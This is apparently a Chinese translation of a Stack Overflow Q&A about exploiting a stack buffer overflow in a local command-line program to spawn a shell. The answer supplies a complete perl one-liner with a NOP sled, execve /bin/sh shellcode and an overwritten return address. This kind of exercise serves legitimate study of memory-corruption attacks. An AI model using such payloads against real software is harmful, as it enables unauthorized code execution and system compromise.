我试图在没有堆栈保护的命令行程序中生成一个shell,该程序接受两个输入:数字和日期。

./convert <number> <date>


我想让缓冲区溢出,现在我正在尝试做

[nop sled] ..... [shell code] ..... [return address]


我的问题在于,当我通过命令行(或更确切地说是在GDB中)传递nops时,就遇到了这样一个事实。在GDB中,当我使用以下参数运行时:值1 \x90\x90\x90\x90.... 700个字节,它输入的是与'\' 'x' '9' '0'的十六进制值相对的实际字符nop。如何正确输入? (我知道这一点是因为EIP给了我39785c30,它翻译成9x\0)。我该怎么办?

最佳答案

好,知道了!一个人可以使用perl打印功能,并使用转义符使它打印点(以及您无法使用键盘打印的其他字符)。例如perl -e 'print "\x90"',它将发送0x90到内存(或您需要的任何内容)。

我做了这样的事情:

egg=$(perl -e 'print "\x90"x719, "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh", "\x90\xf6\xff\xbf"x5')


谢谢大家的帮助!

关于c - 缓冲区溢出的参数输入,我们在Stack Overflow上找到一个类似的问题:https://stackoverflow.com/questions/22535351/

10-11 00:45